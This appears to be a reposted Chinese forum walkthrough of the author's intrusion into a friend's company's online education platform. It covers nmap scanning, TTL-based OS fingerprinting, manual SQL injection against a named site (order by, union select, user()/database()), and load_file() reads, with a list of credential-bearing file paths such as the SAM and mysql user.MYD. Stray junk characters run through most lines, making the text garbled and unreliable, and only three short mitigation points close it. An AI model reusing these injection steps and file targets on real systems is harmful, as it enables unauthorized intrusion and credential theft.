题记：
2 F7 r. Q+ o0 Z4 T6 T: ?4 r' k/ \2 b一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
* Z. |0 m- P6 ~2 e3 o& q' d第一步：获取需要的信息: u* o% e6 ?1 _
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。( V' R/ |5 H3 z; k9 B1 _5 b
注：以下为保护特用XXX代替敏感信息
0 J9 ?+ X" @5 y3 B( c顺手先PING了一下他们的域名：
: x' O; R$ z% @$ c7 A# \1 ~3 P7 K1 Iping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
0 l0 y4 H' \% u/ z N64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms9 f1 |9 Z' l i
顺便了解一下TTL，学好基础知识才能一路顺风：
4 [8 d% |$ y- W! T/ F* E' JTTL：(Time To Live ) 生存时间
6 g# s4 W+ h C7 H/ e) I. `8 }; y8 a2 N指定数据包被路由器丢弃之前允许通过的网段数量。
% d7 z; s2 D: c* q) s3 ITTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。+ X# B p. v# y i, V
使用PING时涉及到的 ICMP 报文类型
- _8 ?" ]( d( r& e+ s* w8 H一个为ICMP请求回显（ICMP Echo Request）+ j* k7 U$ \& u- m
一个为ICMP回显应答（ICMP Echo Reply）2 w2 c+ K# \( T7 \) |8 [3 \
TTL 字段值可以帮助我们识别操作系统类型。* `9 W. ~( G& f+ r
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255: F$ S' d! P: r! P0 E
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64$ T) y5 g' `! C9 Q" g- F
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
, U; _- V* J( j7 g u微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 328 K6 o7 [: r; i; i. ]
当然，返回的TTL值是相同的
) z7 \8 Q0 T5 e8 K* y但有些情况下有所特殊% p! n# W" f% ?8 A" C7 W/ @0 v# j
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
" s# j8 H& b1 W7 ?' e3 ^" X; A. K6 sFreeBSD 4.1, 4.0, 3.4;
6 d: ~! i4 i; W J4 \Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
9 z% b. N* v4 e7 COpenBSD 2.6, 2.7,
/ ?# D- X% [, k$ p1 QNetBSD9 q0 {; q S8 y4 D( E1 J+ E
HP UX 10.207 b, |; ^2 K, v4 f0 B' t
ICMP 回显应答的 TTL 字段值为 255: }# W$ l" s2 A" y2 c
Windows 95/98/98SE
2 i6 r4 o7 |( n& W" e$ pWindows ME! Z/ Y. X( B- ] H$ I5 h
ICMP 回显应答的 TTL 字段值为 32+ x$ X! d/ e0 S% `
Windows NT4 WRKS9 z3 ]3 A7 X* c6 p
Windows NT4 Server: X+ r/ n8 Z; O) l8 m: R6 R7 ?! Q" ?
Windows 2000' v5 A9 z: Q6 B$ @
Windows XP
2 P$ k* N2 T$ e0 [ O" R4 Y1 q1 z! CICMP 回显应答的 TTL 字段值为 128& o) e- ~/ p3 G5 G& Q
这样，我们就可以通过这种方法来辨别操作系统) k! _+ W( `/ N0 W
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
. A: X; V7 e1 r7 l Z- b用NMAP扫描一下：
" @* K7 ^/ F+ Q& N: Z" f, Mnmap -sT -O XXX.XXX.XXX.XXX2 r' x1 [6 h. C2 r
如果没有装WinPcap则会弹出提示：6 F' R2 o1 A' Z4 ?4 E8 i; e; a
WARNING: Could not import all necessary WinPcap functions. You may need to upgr/ z3 T; M* E+ l3 F5 t$ \
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect( e$ |8 _/ [* O5 \% E* Z+ C$ t
) mode — Nmap may not function completely( @. y% ~8 y! v" ?/ U! _" x
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
5 d' ~; v. _. X1 V! z* Rand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
7 I* l% E( {; s6 Mpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an( f% Q- g0 I$ @7 w; S, P
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
+ ]+ j! W1 u5 i* a- p$ A: k% Yersions, you may be able to take iphlpapi.dll from another system and place it i
3 F( H: d. j1 N& }n your system32 dir (e.g. c:\windows\system32).8 V- P1 P7 ?+ V
QUITTING!
9 P% f2 t$ O N; d" a9 @& O到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 I; o$ e1 ~) n+ c* p安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
9 g3 n* {& v3 ]8 aInteresting ports on XXX.XXX.XXX.XXX:# x" D# Z, P$ p% e' `2 m8 O, m4 K% \
Not shown: 986 closed ports: S/ B8 q8 O0 X" A9 x" E+ Y) G) i
PORT STATE SERVICE; E' O, E/ ?- E. {# Z4 m* B
21/tcp open ftp
) Z4 N, s( a* F' M22/tcp open ssh
6 m F# ^( t1 r23/tcp open telnet; e* z" _! O/ W/ T
80/tcp open http
( B$ e1 K8 {4 Y3 G111/tcp open rpcbind# X p6 p0 I/ l( R
135/tcp filtered msrpc2 D5 s% q/ l; B7 B7 u
139/tcp filtered netbios-ssn/ _4 \+ k$ t, T4 c# o) Z- s; X
445/tcp filtered microsoft-ds6 J' [ w& u9 H8 S9 o
513/tcp open login; h1 T2 o& |& i% t
514/tcp open shell
& r4 X1 M: K. |( l4 N9 y593/tcp filtered http-rpc-epmap6 B( `; ]; q: ?; j
1720/tcp filtered H.323/Q.931 n6 x" k* g; T: H2 e* N) t
3306/tcp open mysql
P% a& F6 r- o+ u8 I4444/tcp filtered krb524( x- T. Y) ^ h d B! r$ \+ C8 M
Device type: WAP# O0 b7 A' N3 A- H
Running: Linux 2.4.X `" |5 u% M; ^6 g
OS details: DD-WRT (Linux 2.4.35s)5 N0 K' {5 w% \. b/ w8 j3 n
Network Distance: 13 hops1 B& ]. m; N ]1 D+ \3 y9 `
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
6 }5 w/ t% k* b, U* S! Dlogin as:6 H! l( D9 I0 X1 G
Telnet23端口也是开着的，用telnet 命令链接一下：
5 d4 f3 u# W$ X- o9 Gtelnet XXX.XXX.XXX.XXX
2 a5 } s/ B) h8 D- `提示：5 v) U w2 A$ m: J( B( R' w' G* G
Red Hat Enterprise Linux Server release 5.2 (Tikanga) C3 x% x5 V7 ]9 o9 m8 G( w) J
Kernel 2.6.18-92.el5PAE on an i686$ h/ [5 X9 x5 L2 u0 ]8 o' O9 i
login:/ e3 a" p/ L7 Z5 ^7 q8 b
获取HTTP头信息：- T% G" B& W2 M# z3 y( `" `5 O
在本地执行如下PHP代码( J: P/ |5 o7 k6 O1 f" F; v
<?php K6 t ?( a7 j5 [/ `* G1 C; `2 }
$url = ‘XXX.XXX.XXX.XXX’;2 Q) U! }0 v7 c' X
print_r(get_headers($url));
* i' d6 Y! r! M' f3 d, f0 Kprint_r(get_headers($url, 1));4 h7 S6 Y# `4 D4 G& p( t1 N% W3 u( i4 Z
?>
2 \( e1 p& C' C6 p# ]8 N9 }将以上代码保存为PHP文件，执行：
/ R8 f' ?) i6 H. \' p1 {Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
# \( d( u- }3 z1 A现在可以得出结论：
2 _- ?: |2 t5 g系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" g7 ]" u& M, }, t内核版本：Kernel 2.6.18-92.el5PAE on an i686
" ]% [8 J- p6 O1 k- @- j" N3 IWEB服务器版本：nginx/0.7.61, b" N$ |3 ~. M t
第二步，开始测试寻找漏洞
( C6 U. x; M S- m1 s1 q分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。+ J! ~/ U0 g5 L$ }
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
3 o* [5 ?0 N" p& w, g& x2、测试方法：在地址后加 and 1=1 和 and 1=2 测试' m% n; d9 P5 Z1 F! p! \/ \7 A
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
5 d! s, G" M0 R. zhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
: r1 P5 B* q* v恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
6 {9 J4 T% c2 O3、手工注入：
( i( w0 H. X- _0 Z" x8 ]8 P5 C注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。7 R( e% J8 E/ Z7 Q: T2 [7 G" [( W- s6 a
3.1 猜测当前表字段数% a# l i1 d* S4 ]* U
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10- o8 ?& f( ^: M" H- p
此处猜测有个简单的算法，都是有技巧的吗，呵呵0 o6 @8 W4 l& p" S; L
算法简单如下：, N: \# z' [- v$ e8 z; K" l
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；& p& h) m' z; t1 l8 [4 c% j3 _* d% y
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
6 |; A5 O& ]1 t0 y3 m. m9 A( _8 h1 }2 D需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。3 N: a4 W) n6 O4 @ R8 ]6 W
以此来判断，是否过界，配合取中算法猜出字段数。* c3 a& N# v% T1 x
举例：
) }0 ?" P2 i. a9 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常/ f3 `8 d7 ^( y1 N0 E! A& \
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
6 \, b3 M1 A( @' v9 O& L, K0 P此时3则为我们要找的字段数。
1 h- t: R- h1 q9 m3.2 配合union联合查询字段在页面所位置
( i8 K g7 K4 @( Z- ?! ?& J1 ~我们已经知道了字段数为3，此时则可以做如下操作：8 n' e) a' D8 h0 |
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
# `% `; R& n4 `3 p8 c/ P2 O0 x
& g' T8 |' j3 V5 a这样就可以测试到哪些字段在页面上有所显示了，如图：
$ L0 F5 f+ g$ N. }3 }, F0 r; d0 b9 Q+ a2 H+ z: J9 I
3.3 查敏感信息
! f: p* E) I# }( N H这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。! R3 t4 o- ?6 V6 `
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
0 `& j( R2 P; i l" J3.3.1 先查数据库用户、数据库名，以备后用，如图：" r2 x% M7 b+ x a: ?! r- q
7 W) v# ?) v% A得到数据库用户为root、数据库名为DBxx；. ~1 M0 {0 F& ~% k" ^0 K
3.3.2 查配置文件! [( X8 [! F/ M
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。- x' s* s5 x, Z: S
查看文件有一定的条件限制：
* P8 S: l* D4 W" U: r. F欲读取文件必须在服务器上* v% S% T7 S: Y% \! W) H
必须指定文件完整的路径. j; B2 s% w6 R! Z0 v8 `) w w
必须有权限读取并且文件必须完全可读
1 K! h* V- m1 l, D欲读取文件必须小于 max_allowed_packet
" i4 F. c3 x$ |$ @* @2 |" S9 eMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。4 h! ]- U* G+ \# F/ \9 f' U
常用的一些：
* m; f! B: |" w9 K0 `) q/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件+ E7 Z% V! @1 f, i
/usr/local/apache2/conf/httpd.conf
% G- |( v9 V# E6 ?# p5 _/ s/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置! G8 b7 Q0 t; |5 M* u& l# y! N
/usr/local/app/php5/lib/php.ini //PHP相关设置- q5 w" a: D$ c- l+ H& `
/etc/sysconfig/iptables //从中得到防火墙规则策略
8 u5 H2 w6 N6 X j& k/ p/etc/httpd/conf/httpd.conf // apache配置文件
( i& k" {1 L+ a3 h# y/etc/rsyncd.conf //同步程序配置文件8 U+ L. d4 Z3 `* Z5 V8 B0 J& J
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.# x, v( k- ]/ ?
/etc/my.cnf //mysql的配置文件+ E9 c& j5 Z" B) y
/etc/redhat-release //系统版本
! Q! R+ P' ~1 c9 }$ A/etc/issue
( N0 o( a6 l1 K' d% B/etc/issue.net- B, |+ f" C1 Q9 I
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码. J) _7 D* C) w) j
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
* ]2 N0 c' q) j" W9 Y3 r( g6 ?c:\Program Files\Serv-U\ServUDaemon.ini5 `( m" o& X6 n" {
c:\windows\my.ini //MYSQL配置文件
* j& D; u2 E% q) l. l1 w" hc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件( a: y& k$ \/ [/ I. b! P/ g: n& P
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，) m0 ]" m. F% p3 D
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码. w3 |. h' b% x0 R( C8 A0 H
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
/ P+ M7 Z1 T- Z1 b& }2 U# cc:\Program Files\RhinoSoft.com\ServUDaemon.exe
8 p/ z6 S( |. j. S" @C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件, C; e; J2 k9 }# F
//存储了pcAnywhere的登陆密码$ Z: l# t$ @( P: v2 }. `9 Z( x; y9 ]0 w
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。$ }' `7 L7 \* x( K0 q1 u- c* N" h
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
2 O) h0 T+ f. F: C% z A3 ]$ n( y最后：防范措施$ Q/ y" t3 {3 w8 x2 X+ w9 M
1、修复PHP注入漏洞；
, M5 B8 P6 Q v2、Mysql使用普通权限的用户；1 m0 N/ Y, J3 K5 k
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对